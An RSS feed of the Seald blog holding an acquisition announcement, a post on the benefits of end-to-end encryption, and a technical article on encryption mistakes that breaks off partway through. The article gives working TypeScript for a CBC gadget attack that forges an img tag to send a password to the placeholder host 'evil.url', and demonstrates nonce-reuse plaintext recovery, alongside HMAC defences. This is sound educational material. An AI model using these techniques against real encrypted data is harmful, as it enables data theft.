<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Seald — Blog</title>
        <link>https://www.seald.io/blog-en.xml</link>
        <description>The official Seald blog.</description>
        <lastBuildDate>Mon, 16 Mar 2026 11:02:20 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/nuxt-community/feed-module</generator>
        <item>
            <title><![CDATA[Seald Joins OVHcloud: A New Chapter for End-to-End Encryption]]></title>
            <link>https://www.seald.io/blog/seald-x-ovhcloud</link>
            <guid>https://www.seald.io/blog/seald-x-ovhcloud</guid>
            <pubDate>Mon, 09 Feb 2026 15:42:21 GMT</pubDate>
            <description><![CDATA[We are thrilled to announce that Seald has been acquired by OVHcloud, one of Europe's leading cloud providers. This marks an exciting new chapter in our mission to make end-to-end encryption accessible and seamless for businesses of all sizes.]]></description>
            <content:encoded><![CDATA[<p>We are thrilled to announce that Seald has been acquired by OVHcloud, one of Europe's leading cloud providers. This marks an exciting new chapter in our mission to make end-to-end encryption accessible and seamless for businesses of all sizes.</p><p>You can read the official announcement on&nbsp;<a href="https://corporate.ovhcloud.com/fr/newsroom/news/ovhcloud-acquires-seald/?ref=blog.seald.io">OVHcloud's newsroom</a>.</p><h2 id="what-this-means-for-our-technology"><strong>What This Means for Our Technology</strong></h2><p>Seald's encryption technology will be integrated into OVHcloud's Public Cloud Infrastructure (PCI) offering under a new name: OVHcloud End-to-End Encryption (E2EE). This integration represents the natural evolution of our solution, combining Seald's battle-tested encryption capabilities with OVHcloud's world-class infrastructure.</p><h3 id="a-seamless-transition-for-our-customers"><strong>A Seamless Transition for Our Customers</strong></h3><p>For our existing customers outside the United States, we want to reassure you: your service will continue without interruption. You will be migrated to OVHcloud E2EE, which is built on the same Seald technology you already trust. This transition will be handled carefully to ensure continuity and zero disruption to your operations.</p><p>By becoming part of OVHcloud, our encryption service will benefit from significantly expanded resources, enabling us to deliver:</p><ul><li>Enhanced reliability through OVHcloud's robust global infrastructure</li><li>Improved resilience with enterprise-grade redundancy</li><li>Better support backed by OVHcloud's dedicated teams</li><li>Continued innovation with greater R&amp;D investment</li></ul><h3 id="a-note-for-our-us-customers"><strong>A Note for Our US Customers</strong></h3><p>Until now, Seald provided its services to all customers worldwide&nbsp;in the same way&nbsp;regardless of their location.</p><p>We decided to change Seald operating model in the USA, in compliance with all applicable regulation.&nbsp;As a result, Seald's US operations have been discontinued during this transition period. We understand this may be frustrating for our American customers, and we want you to know that we are actively working to make OVHcloud E2EE available in the US market through the appropriate channels as soon as possible. We will keep you informed of any developments.</p><h2 id="already-available-in-alpha"><strong>Already Available in Alpha</strong></h2><p>We're excited to share that OVHcloud End-to-End Encryption is already available in alpha! If you want to explore the new solution and get an early look at what's coming, you can sign up through&nbsp;<a href="https://labs.ovhcloud.com/en/end-to-end-encryption/?ref=blog.seald.io">OVHcloud Labs</a>. So far, it is nothing less than the re-branded staging environement, but gradually change will come. Your feedback during this phase will be invaluable in shaping the final product.</p><h2 id="looking-ahead"><strong>Looking Ahead</strong></h2><p>This acquisition reflects a shared vision between Seald and OVHcloud: that data sovereignty and security should be at the heart of every cloud service. Together, we are better positioned than ever to deliver on that promise.</p><p>We are deeply grateful for the trust our customers have placed in us over the years. As we embark on this new journey with OVHcloud, we remain committed to providing you with the highest level of encryption and data protection.</p><p>Stay tuned for more updates as we roll out OVHcloud End-to-End Encryption.</p><p><em>The Seald team</em>&nbsp;</p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2026/02/jfItFWOgNxpEuniyprnHZD.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[The 8 benefits you need to know about end-to-end encryption.]]></title>
            <link>https://www.seald.io/blog/the-8-benefits-you-need-to-know-about-end-to-end-encryption</link>
            <guid>https://www.seald.io/blog/the-8-benefits-you-need-to-know-about-end-to-end-encryption</guid>
            <pubDate>Tue, 14 Nov 2023 10:37:00 GMT</pubDate>
            <description><![CDATA[Let's decrypt together the 8 advantages of end-to-end encryption and discover why this technology has become a game changer for applications that collect sensitive data.

But before diving into the 8 benefits that end-to-end encryption offers, it's essential to understand the problem this technology can address 🧐.

Take the example of a "traditional" messaging application not encrypted end-to-end:

During the transmission of a message, the sender sends their message to the application's server,]]></description>
            <content:encoded><![CDATA[<p>Let's decrypt together <strong>the 8 advantages of end-to-end encryption</strong> and discover why this technology has become <strong>a game changer</strong> for applications that collect <strong>sensitive data.</strong></p><p>But before diving into the 8 benefits that end-to-end encryption offers, it's essential to <strong>understand the problem</strong> this technology can address 🧐.</p><p>Take the example of a "traditional" messaging application <strong>not encrypted end-to-end:<br></strong><br>During the transmission of a message, the sender sends their message to the application's server, and this server then transmits it to the recipient who can read it. In this very common model, encryption is used between the sender and the server, and then between the server and the recipient (using TLS). However, <strong>the server, which acts merely as a relay, can technically read everything 👀.</strong></p><p>Therefore, if a system administrator (who has access to the servers) were malicious or hacked, or if the application had a vulnerability allowing an attacker to take control of the server,<strong> there would be a potentially massive data breach.</strong></p><p>The aim of end-to-end encryption is precisely to address this issue at its core by not allowing the server to read everything between senders and recipients: <strong>the message remains encrypted from one end (the sender) to the other (the recipient), without ever being decrypted between the two,</strong> hence its name 🔒.</p><p>Most messaging applications have incorporated this technology to ensure the highest level of confidentiality for messages, such as Signal, iMessage, Whatsapp, and Telegram (not by default).</p><h2 id="benefit-1-increased-confidentiality">Benefit 1: Increased confidentiality<br></h2><p>End-to-end encryption is a method of securing information where <strong>only the sender and the recipient of the communication are capable of decrypting and accessing the content of the data.</strong></p><p>In other words, the data is encrypted on the sender's device and is only decrypted once it arrives on the recipient's device.</p><p>During transit, whether on intermediary servers, networks, or any other passage point, <strong>the data remains encrypted and is therefore inaccessible to third parties</strong>, including the service providers facilitating the message's transmission.</p><p>In 2022, <strong>Elon Musk discussed integrating end-to-end encryption</strong> into Twitter's messaging. He even stated: "It should be the case that I can’t look at anyone’s DMs if somebody has put a gun to my head" 😅🔫 and "Twitter DMs should have <em>end to end encryption</em> like Signal, so no one can spy on or hack your messages".</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/10/image-9.png" class="kg-image" alt loading="lazy" width="1257" height="495" srcset="https://blog.seald.io/content/images/size/w600/2023/10/image-9.png 600w, https://blog.seald.io/content/images/size/w1000/2023/10/image-9.png 1000w, https://blog.seald.io/content/images/2023/10/image-9.png 1257w" sizes="(min-width: 720px) 720px"></figure><h2 id="benefit-2-protection-against-data-breach">Benefit 2: Protection against data breach</h2><p><br>In the event that a server containing end-to-end encrypted data is compromised, <strong>these data would remain unexploitable for the attacker.</strong></p><p>This is likely <strong>the primary reason</strong> driving companies to adopt end-to-end encryption: to guard against data breaches. It's crucial to understand that if a malicious individual manages to breach a server containing only encrypted data, technically no data is exfiltrated as long as we can ensure the key wasn't stolen along with it. Therefore, from a GDPR perspective, <strong>it doesn't trigger a breach notification to the affected individuals.</strong> The intrusion, having had no impact, is as if nothing happened 💪.</p><p>Today, companies like <a href="https://www.seald.io/blog/how-recare-protect-the-medical-data-of-300-000-patients?ref=blog.seald.io">Recare have implemented end-to-end encryption</a> <strong>to ensure that only healthcare professionals can access the data (not even Recare or its hosting provider)</strong> and to prevent data theft even in the event of a breach into Recare's servers.</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/10/image-1.png" class="kg-image" alt loading="lazy" width="1200" height="600" srcset="https://blog.seald.io/content/images/size/w600/2023/10/image-1.png 600w, https://blog.seald.io/content/images/size/w1000/2023/10/image-1.png 1000w, https://blog.seald.io/content/images/2023/10/image-1.png 1200w" sizes="(min-width: 720px) 720px"></figure><h2 id="benefit-3-reduced-risk-of-espionage">Benefit 3: Reduced risk of espionage</h2><p><br>End-to-end encryption prevents malicious actors, governments, and even service providers from monitoring or accessing communications.</p><p>It might seem obvious at first glance, <strong>but if a solution can't access its users' data, it can't transmit anything to anyone.</strong> Big brother can't watch you 👀.</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/10/image-2.png" class="kg-image" alt loading="lazy" width="498" height="242"></figure><p>On this note, it's important to emphasize that <a href="https://en.wikipedia.org/wiki/CLOUD_Act?ref=blog.seald.io">the CLOUD Act</a>, established in 2018, amends <a href="https://en.wikipedia.org/wiki/Stored_Communications_Act?ref=blog.seald.io">the Stored Communications Act</a> to apply beyond U.S. borders.</p><p>As a result, <strong>U.S. courts have the authority to order American cloud providers</strong> (even if the data is stored abroad, like in France) to provide them with the entirety of an individual's data, without seeking the judicial approval of the country where the individual or data resides.</p><p>In plain terms, <strong>if data is stored on servers like AWS or GCP, the U.S. can legally access it,</strong> even if the servers are physically located in France.</p><p>Integrating end-to-end encryption into a solution using American servers would render the data on these servers inaccessible, <strong>thus avoiding any surveillance ❌.</strong></p><p>In the EU, it's one of the supplementary security measures recommended by the European Data Protection Board for processing data in the U.S. when <a href="https://www.seald.io/blog/schrems-2-final-recommendations-on-supplementary-measures?ref=blog.seald.io">the Privacy Shield was invalidated.</a></p><h2 id="benefit-4-data-integrity">Benefit 4: Data integrity</h2><p><br>End-to-end encryption <strong>guarantees that the data has not been altered during transfer,</strong> as any modification of the encrypted data would render the message indecipherable.<br><br><strong>However... beware!</strong><br><br>We have observed a number of common errors made by developers when integrating end-to-end encryption, <strong>jeopardizing the integrity of the information 🔓.</strong><br><br>These include the use of AES-CBC without HMAC-SHA256. If you're interested, have a look at our article: "<a href="https://www.seald.io/blog/3-common-mistakes-when-implementing-encryption?ref=blog.seald.io">3 common mistakes when implementing encryption</a>".</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/10/image-3.png" class="kg-image" alt loading="lazy" width="234" height="201"></figure><h2 id="benefit-5-protection-against-government-requests">Benefit 5: Protection against government requests</h2><p><br>In the United States, since June 24, 2022, the Supreme Court has revoked the constitutional right of American women to abortion. <strong>This has allowed each state to define its own legislation on the subject</strong>, with some ten states (including Nebraska) banning abortion. In concrete terms, <strong>a woman who has an abortion can now be prosecuted for murder 🤬.</strong></p><p>In 2022, in Nebraska, a girl chats with her mother on Messenger about how to end her unwanted pregnancy. <strong>At the time, there is no end-to-end encryption in Messenger.</strong></p><p>The mother manages to obtain abortion pills by buying them on the Web and gives them to her daughter to end her unwanted pregnancy.<br><br>One police report later.... Meta (the company that develops Messenger) receives a law enforcement warrant requesting data that the platform held on the mother and her daughter. <strong>Meta had no choice but to hand over the exchanges in question.</strong></p><p><a href="https://www.theguardian.com/us-news/2023/sep/22/burgess-abortion-pill-nebraska-mother-daughter?ref=blog.seald.io#:~:text=Jessica%20Burgess%2C%20a%20Nebraska%20mother,Burgess's%20pregnancy%20in%20April%202022.">The daughter was sentenced to three months in prison for performing an abortion. Her mother was sentenced to two years in prison for assisting her daughter in the procedure.</a></p><p>With end-to-end encryption, Meta would not have been able to provide Messenger data to the government, <strong>as she herself would not have had the means to access the data 👌.</strong> Meta understands the importance of this technology, <a href="https://www.siliconrepublic.com/enterprise/messenger-end-to-end-encryption-meta-whatsapp-instagram-privacy?ref=blog.seald.io#:~:text=Meta%20has%20confirmed%20that%20it,it%20extends%20to%20WhatsApp%20users.">and has announced that Messenger will soon be end-to-end encrypted by default.</a></p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/10/image-4.png" class="kg-image" alt loading="lazy" width="1920" height="1342" srcset="https://blog.seald.io/content/images/size/w600/2023/10/image-4.png 600w, https://blog.seald.io/content/images/size/w1000/2023/10/image-4.png 1000w, https://blog.seald.io/content/images/size/w1600/2023/10/image-4.png 1600w, https://blog.seald.io/content/images/2023/10/image-4.png 1920w" sizes="(min-width: 720px) 720px"></figure><h2 id="benefit-6-increased-user-trust">Benefit 6: Increased user trust</h2><p>Knowing that your data is truly secure, thanks to end-to-end encryption, <strong>boosts users' confidence in a service or application.</strong></p><p>In June 2020, Doctolib integrated end-to-end encryption to secure documents shared between doctors and their patients. This means that <strong>Doctolib can never access its users' sensitive information.</strong> This initiative strengthens user confidence, knowing that <strong>their medical data is shared only between themselves and their doctor.</strong> The Hippocratic oath is well-kept 👩‍⚕️🤫.</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/10/image-5.png" class="kg-image" alt loading="lazy" width="1024" height="1024" srcset="https://blog.seald.io/content/images/size/w600/2023/10/image-5.png 600w, https://blog.seald.io/content/images/size/w1000/2023/10/image-5.png 1000w, https://blog.seald.io/content/images/2023/10/image-5.png 1024w" sizes="(min-width: 720px) 720px"></figure><h2 id="benefit-7-improved-compliance">Benefit 7: Improved compliance</h2><p><br>A growing number of regulations impose or recommend end-to-end encryption.</p><p>The GDPR imposes increased protection for personal data, <a href="https://www.cnil.fr/fr/reglement-europeen-protection-donnees/chapitre4?ref=blog.seald.io#Article32">notably through state-of-the-art encryption and minimization of stored data.</a> According to some DPO interpretations, <strong>this constitutes an obligation to implement end-to-end encryption in certain cases ⚠️️.</strong> This requirement is therefore increasingly present in requests for proposals, particularly in the medical sector: for example in Germany for software used to manage downstream hospital beds, in Belgium for teleconsultation software and in France for teleconsultation booths.</p><p>Another example is <a href="https://www.ecfr.gov/current/title-22/chapter-I/subchapter-M/part-120/subpart-C/section-120.54?ref=blog.seald.io">ITAR</a>, which applies to all U.S. military subcontractors (which covers a huge number of companies worldwide), and allows sensitive data to be used in the cloud, provided it is encrypted end-to-end (§ 120.54 (a) (5) (ii)).</p><p>Finally, <a href="https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32022L2555&ref=blog.seald.io">NIS2</a>, which will come into force in the second half of 2024 and <strong>apply to all critical European entities and their subcontractors</strong>, stipulates in its recital 98:</p><blockquote>"The use of encryption, including end-to-end encryption, should if necessary be imposed on providers of public electronic communications networks or publicly available electronic communications services, in accordance with the principles of security and privacy by default and by design for the purposes of this Directive."</blockquote><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/10/image-10.png" class="kg-image" alt loading="lazy" width="1469" height="392" srcset="https://blog.seald.io/content/images/size/w600/2023/10/image-10.png 600w, https://blog.seald.io/content/images/size/w1000/2023/10/image-10.png 1000w, https://blog.seald.io/content/images/2023/10/image-10.png 1469w" sizes="(min-width: 720px) 720px"></figure><h2 id="benefit-8-the-right-to-privacy">Benefit 8: The right to privacy<br></h2><p>In a world where our communications can be monitored or intercepted, <strong>end-to-end encryption ensures that our confidential conversations remain truly private.<br></strong><br>When asked about the importance of encryption, many people retort: "Why do I need it? I've got nothing to hide!"<br><br>This reaction suggests that only people hiding things or carrying out illicit activities might need encryption. Is this really the right reasoning? 🕵️‍♂️<br><br>Ask these same people to entrust you with their credit card codes, their online identifiers, their medical history, <strong>and you'll see that they'll suddenly grasp the value of encryption as a guarantor of their privacy.</strong></p><blockquote>Arguing that you don't care about privacy because you have nothing to hide is no different than saying you don't care about free speech because you have nothing to say.</blockquote><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/10/image-11.png" class="kg-image" alt loading="lazy" width="1024" height="512" srcset="https://blog.seald.io/content/images/size/w600/2023/10/image-11.png 600w, https://blog.seald.io/content/images/size/w1000/2023/10/image-11.png 1000w, https://blog.seald.io/content/images/2023/10/image-11.png 1024w" sizes="(min-width: 720px) 720px"></figure>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2023/10/Visuel-Seald-bonformat-21.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[3 common mistakes when implementing encryption]]></title>
            <link>https://www.seald.io/blog/3-common-mistakes-when-implementing-encryption</link>
            <guid>https://www.seald.io/blog/3-common-mistakes-when-implementing-encryption</guid>
            <pubDate>Mon, 23 Oct 2023 16:35:35 GMT</pubDate>
            <description><![CDATA[I'm sometimes asked how secure the algorithms used by Seald are, what their "security level" is. In reality, the weakness of a cipher rarely lies in the algorithms used, but in the way they are implemented, or in the way they are combined.

We sometimes see projects (even well-known ones) in which developers have implemented encryption, armed with their Crypto 101 course, but rarely end up with a robust mechanism. Unfortunately, implementing encryption isn't just about using AES and having a dec]]></description>
            <content:encoded><![CDATA[<p>I'm sometimes asked how secure the algorithms used by Seald are, what their "security level" is. In reality, <strong>the weakness of a cipher rarely lies in the algorithms used,</strong> but in the way they are implemented, or in the way they are combined.</p><p>We sometimes see projects (even well-known ones) in which developers have implemented encryption, armed with their Crypto 101 course,<strong> but rarely end up with a robust mechanism.</strong> Unfortunately, implementing encryption isn't just about using AES and having a <code>decrypt</code> function that gives the right result 🧐.</p><p>So here are a few examples of cryptographic mechanisms that are not robust, <strong>but may appear to be so to a non-encryption specialist developer:</strong></p><ul><li><a href="#encryption-integrity">Encryption integrity</a>: how to exfiltrate data encrypted with AES-CBC? How to protect against this?</li><li><a href="#iv-generation">IV generation</a>: the difference between IVs and nonces, and the practical consequences for AES-CTR and AES-GCM.</li><li><a href="#random-number-generator">Random number generator</a>: why not use <code>Math.random()</code> for encryption? Demonstration of an exploit to decrypt messages whose key has been generated with <code>Math.random()</code>.</li></ul><h2 id="encryption-integrity">Encryption integrity</h2><p>By integrating a symmetric encryption algorithm, <strong>the aim of the developer is to ensure the confidentiality of the encrypted message:</strong> the guarantee that only the holders of the key will be able to access the plaintext content, and that seems to be enough.</p><p>But is it really?</p><h2 id="aes-cbc">AES-CBC</h2><p>This is the case, for example, with AES-CBC, <strong>a robust algorithm which is widely used.</strong></p><p>Here's an example of its implementation in Node.js:</p><pre><code class="language-typescript">export const encrypt = (message: Buffer, key: Buffer): Buffer =&gt; {
    const iv = randomBytes(16)
    const cipher: Cipher = createCipheriv('aes-256-cbc', key, iv)
    return Buffer.concat([iv, cipher.update(message), cipher.final()])
}

export const decrypt = (encryptedData: Buffer, key: Buffer): Buffer =&gt; {
    const iv: Buffer = encryptedData.subarray(0, 16)
    const ciphertext: Buffer = encryptedData.subarray(16)
    const decipher: Decipher = createDecipheriv('aes-256-cbc', key, iv)
    return Buffer.concat([decipher.update(ciphertext), decipher.final()])
}
</code></pre><p>Alice encrypts the message <code>'Your password is:Se@ld-i5-great'</code> to Bob with a key <code>key</code> established (magically) in advance, and Bob decrypts it:</p><pre><code class="language-typescript">// Symmetric key of 32 bytes shared between Alice and Bob
const key: Buffer = Buffer.from('4b00c9504d4b76bd913ecd27df90305fa3201e0e15e4e61023782ad0867660de', 'hex') 
// Message encoded as a Buffer
const message: Buffer = Buffer.from('Your password is:Se@ld-i5-great', 'utf8')

// Message encrypted by Alice
const encryptedMessage = encrypt(message, key)
console.log(encryptedMessage.toString('hex')
// &gt; 144c57a662562f474212b72c2a5765d4a882ffd3459adb1bb07e48fc62d2f3db68618a9e4d61022ddb29e36c22039fb7

console.log(decrypt(encryptedMessage, key).toString('utf8'))
// &gt; Your password is:Se@ld-i5-great
</code></pre><p>The decryption works, perfect, isn't it?</p><h3 id="cbc-gadgets">CBC gadgets</h3><p>The problem is that, while confidentiality is guaranteed by AES-CBC, <strong>AES-CBC is said to be <a href="https://en.wikipedia.org/wiki/Malleability_(cryptography)?ref=blog.seald.io">malleable</a>.</strong> This means that an attacker can modify the encrypted message <code>encryptedData</code> without the recipient noticing, <strong>and this can actually lead to data exfiltration </strong>⚠️.</p><p>In our example, the encryption result contains 3 blocks: IV, c0 and c1:</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/10/image-15.png" class="kg-image" alt loading="lazy" width="1474" height="485" srcset="https://blog.seald.io/content/images/size/w600/2023/10/image-15.png 600w, https://blog.seald.io/content/images/size/w1000/2023/10/image-15.png 1000w, https://blog.seald.io/content/images/2023/10/image-15.png 1474w" sizes="(min-width: 720px) 720px"></figure><p><strong>If the attacker knows the first 16 bytes of the message</strong> (in our example, it's reasonable to assume that <code>Your password is</code> is prefixed in front of all messages of this type), they can then inject selected blocks (<code>g0</code> and <code>g1</code>) into the plaintext message as follows:</p><ul><li>construct <code>x0 = IV ^ p0 ^ g0</code>.</li><li>construct <code>x1 = IV ^ p0 ^ g1</code>.</li><li>forge the message by concatenating <code>x0</code>, <code>c0</code>, <code>x1</code>, <code>c0</code> and <code>c1</code>.</li></ul><p>When Bob decrypts the modified message, the result will be <code>g0</code>, a block of uncontrolled bytes, <code>g1</code> and <code>p1</code> (which contains the password).</p><p>And if Bob happens to decrypt it in an HTML interpreter (mail client or browser), the attacker simply transforms the message into an HTML tag <code>&lt;img src="... /&gt;</code>:</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/10/image-16.png" class="kg-image" alt loading="lazy" width="1519" height="449" srcset="https://blog.seald.io/content/images/size/w600/2023/10/image-16.png 600w, https://blog.seald.io/content/images/size/w1000/2023/10/image-16.png 1000w, https://blog.seald.io/content/images/2023/10/image-16.png 1519w" sizes="(min-width: 720px) 720px"></figure><p>To modify such an encrypted message in this way,<strong> let us define the following function:</strong></p><pre><code class="language-typescript">export const injectGadget = (encryptedData: Buffer, p0: Buffer, g0: Buffer, g1: Buffer): Buffer =&gt; {
    const iv: Buffer = encryptedData.subarray(0, 16)
    const c0: Buffer = encryptedData.subarray(16, 32) // contains 'Your password is' chiffré
    const c1: Buffer = encryptedData.subarray(32) // contains the encrypted password
    
    const x: Buffer = xor(iv, p0) // canonical block canonique (only 0 if decrypted)

    const x0: Buffer = xor(x, g0)
    const x1: Buffer = xor(x, g1)

    return Buffer.concat([
        x0, // forged IV
        c0, // forged block, decrypted to g0
        x1, // forged block that is just there to prserve the chaining, it will be decrypted into 8 uncontrolled bytes
        c0, // forged block, decrypted to g1
        c1  // 2nd initial block containing the targeted data
    ])
}
</code></pre><p>And it can be used as follows:</p><pre><code class="language-typescript">// The attacker intercepts `encryptedMessage` then injects g0 and g1 because they know the first block p0
const maliciousMessage = injectGadget(encryptedMessage, p0, g0, g1)

// Bob decrypts naively the message, and displays it in an HTML reader
const decryptedMessage = decrypt(maliciousMessage, key).toString('utf8')

// contains something like: &lt;img ignore= "**garbage**" src=evil.url/:Se@ld-i5-great
// which exfiltrates the sensitive data to evil.url
console.log('decryptedMessage:', decryptedMessage)
// &gt;  &lt;img ignore= " '�va��U���J� " src=evil.url/:Se@ld-i5-great
</code></pre><p>In this case, Bob would decrypt the modified message into <code> &lt;img ignore= "'�va��U���J�" src=evil.url/:Se@ld-i5-great</code>, <strong>which would exfiltrate the password to <code>evil.url</code>.</strong></p><h3 id="adding-a-mac">Adding a MAC</h3><p>The correct way to encrypt with AES-CBC is <strong>to add what is known as a Message Authentication Code,</strong> which ensures the integrity of the encrypted message. A MAC is a kind of checksum calculated on the message with a shared secret key. If this MAC does not correspond to the decryption, <strong>the message has been altered before arriving 🔓.</strong></p><p>This enables what is known as <a href="https://en.wikipedia.org/wiki/Authenticated_encryption?ref=blog.seald.io">"authenticated encryption"</a> to be achieved by composition.</p><p>Adding a MAC to the AES-CBC existing cipher can be done by defining an <code>appendMac</code> function which calculates and appends the MAC at the end, and another <code>checkMacThenReturnPayload</code> which checks the MAC, and throws an error if the MAC does not match:</p><pre><code class="language-typescript">export const appendMac = (payload: Buffer, keyMac: Buffer): Buffer =&gt; {
    const hmac: Hmac = createHmac('sha256', keyMac)
    hmac.update(payload)
    return Buffer.concat([payload, hmac.digest()]) // we append the MAC at the end
}

export const checkMacThenReturnPayload = (encryptedData: Buffer, keyMac: Buffer): Buffer =&gt; {
    const payload: Buffer = encryptedData.subarray(0, -32) // we retrieve the MAC at the end
    const mac: Buffer = encryptedData.subarray(-32)
    const hmac: Hmac = createHmac('sha256', keyMac)
    hmac.update(payload)
    const mac2 = hmac.digest()

    if (!mac.equals(mac2)) throw new Error('MAC invalid') // we check that it is equal by recalculating it, otherwise we throw an error so as not to decipher

    return payload
}
</code></pre><p>To combine it with the existing functions, we simply compose them. <strong>Here's how the CBC gadget injection attack is countered by this mechanism:</strong></p><pre><code class="language-typescript">// Alice and Bob must use two separate keys for encryption and MAC
const keyEnc: Buffer = Buffer.from('4b00c9504d4b76bd913ecd27df90305fa3201e0e15e4e61023782ad0867660de', 'hex')
const keyMAC: Buffer = Buffer.from('8c2b1a612c99f7ede90d25b544812ea19b3626db5f71b5073d4ade922be21f9a', 'hex') 

// Alice encrypts the message with AES-CBC as before
const encryptedMessage = encrypt(message, keyEnc)
console.log(encryptedMessage.toString('hex'))
// &gt; f7686df4fe1bd9177ab5b6a9b9f17e5786e0c610837fe694ac1182aad1d70fa7db556d9626a88bebd459ceef2d9499aa

// Alice appends the MAC calculated with the other key
const encryptedMessageWithMac = appendMac(encryptedMessage, keyMac)
console.log(encryptedMessageWithMac.toString('hex'))
// &gt; f7686df4fe1bd9177ab5b6a9b9f17e5786e0c610837fe694ac1182aad1d70fa7db556d9626a88bebd459ceef2d9499aa508348ae876c868858b2be2908392eeb322a2fe396770790a3438b29757d67fc

// The attacker attempts the same attack by injecting a CBC gadget
const maliciousMessage = injectGadget(encryptedMessageWithMac, firstBlock, gagdet0, gadget1)
console.log(maliciousMessage.toString('hex'))
// &gt; 8e3b71ebb94bd10367adabbee0f1350486e0c610837fe694ac1182aad1d70fa78e2538f5ac0885017fabb5f5a8a37b0b86e0c610837fe694ac1182aad1d70fa7db556d9626a88bebd459ceef2d9499aa508348ae876c868858b2be2908392eeb322a2fe396770790a3438b29757d67fc

// Bob checks the MAC before decrypting
const checkedEncryptedMessage = checkMacThenReturnPayload(maliciousMessage, keyMac)
// &gt; Error: MAC invalid
</code></pre><p>However, if Bob tries to decrypt the unaltered message:</p><pre><code class="language-typescript">const checkedEncryptedMessage = checkMacThenReturnPayload(encryptedMessageWithMac, keyMac)
const decryptedMessage = decrypt(checkedEncryptedMessage, keyEnc).toString('utf8')
console.log(decryptedMessage)
// &gt; Your password is:Se@ld-i5-great
</code></pre><h3 id="conclusion">Conclusion</h3><p>This attack seems theoretical only, but in reality, this example <strong>is largely inspired by a very real vulnerability called <a href="https://efail.de/?ref=blog.seald.io">efail.de</a> </strong>of email clients decrypting S/MIME or PGP emails that didn't check the MAC (although there was one), and whose first bytes are always <code>Content-type: multipart-signed</code>... 😔</p><p>In short, <strong>symmetric encryption algorithms without integrity should always have a MAC added (calculated with a separate key),</strong> unless integrity is ensured by some other means, and should be checked before decryption.</p><p>The complete example is <a href="https://github.com/seald/snippets-for-articles/tree/main/cbc-gadgets?ref=blog.seald.io">available on Github</a>.</p><h2 id="iv-generation">IV generation</h2><p>For some encryption algorithms, IVs (<a href="https://en.wikipedia.org/wiki/Initialization_vector?ref=blog.seald.io">Initialization Vector</a>) must be random, as in the case of AES-CBC, and for others, they must be unique, as in the case of AES-CTR, AES-GCM or ChaCha20. They are also called "nonce" when uniqueness is the desired property, rather than IV.</p><h3 id="the-difference-between-unique-and-random">The difference between unique and random</h3><p>The difference seems insignificant: intuitively, the probability of two random 16-byte IVs being identical is ridiculous, <strong>yet using a random IV generator when trying to generate unique IVs leads to a vulnerability.</strong></p><p>Let us consider the following analogy: imagine you had to assign a unique number to each child in a classroom. One possibility is to number them with a counter, but let us say that is not possible. Another idea might be to take their birthday and convert it to a number between 1 and 365. For example, February 2 would be number 33.</p><p>There's obviously <strong>no guarantee that all the children will have a different birthday</strong> and therefore a different number with this algorithm, but worse, there's a probability greater than 50% that there will be a collision as soon as the number of children in the class exceeds 23! It's the <a href="https://en.wikipedia.org/wiki/Birthday_problem?ref=blog.seald.io">birthday problem</a>.</p><p>Random doesn't mean unique, but what does it mean in practice? 🕵️‍♂️</p><h3 id="reusing-a-nonce-with-aes-ctr">Reusing a nonce with AES-CTR</h3><p>That's where the analogy ends. Let us dive into AES-CTR to see what impact the reuse of an nonce has.</p><p>AES-CTR is a stream cipher, which means that it generates a key stream from a nonce and the key, and <strong>it's this key stream that is then used to encrypt and decrypt with a XOR.</strong></p><p>So, if we encrypt twice with the same nonce, this means that the same <code>keyStream</code> is generated twice and used to encrypt two distinct <code>m1</code> and <code>m2</code> messages. In pseudo-code, this looks like this:</p><pre><code>// XOR is noted ^
E(m1) = keyStream ^ m1
E(m2) = keyStream ^ m2
E(m1) ^ E(m2)
= keyStream ^ m1 ^ keyStream ^ m2
= m1 ^ keyStream ^ keyStream ^ m2
= m1 ^ 0 ^ m2
= m1 ^ m2
// this means that XORing encrypted messages is equivalent to XORing plaintext messages
</code></pre><p>The textbook case is when the messages are the same size and each is empty on a different half:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.seald.io/content/images/2023/10/image-21.png" class="kg-image" alt loading="lazy" width="400" height="886"><figcaption>https://twitter.com/angealbertini/status/425561082841690112</figcaption></figure><p>To reproduce this textbook case, simply define two messages of the same size, pad them, encrypt them, and XOR the result of one with the other:</p><pre><code class="language-typescript">// construct two messages of identical size
const message1 = Buffer.from('here is one half of the message,')
const message2 = Buffer.from('and here is the other half of it')

// pad them from 0 to the right for the first, to the left for the second, doubling their size
const paddedMessage1 = Buffer.concat([message1, Buffer.alloc(message2.length)])
const paddedMessage2 = Buffer.concat([Buffer.alloc(message1.length), message2])

const encryptedMessage1 = encryptCTR(nonce, paddedMessage1, key)
const encryptedMessage2 = encryptCTR(nonce, paddedMessage2, key)

// remove the first 16 bytes containing the nonce only
const xorResult = xor(encryptedMessage1.subarray(16), encryptedMessage2.subarray(16))
console.log(xorResult.toString('utf8'))
// &gt; here is one half of the message,and here is the other half of it
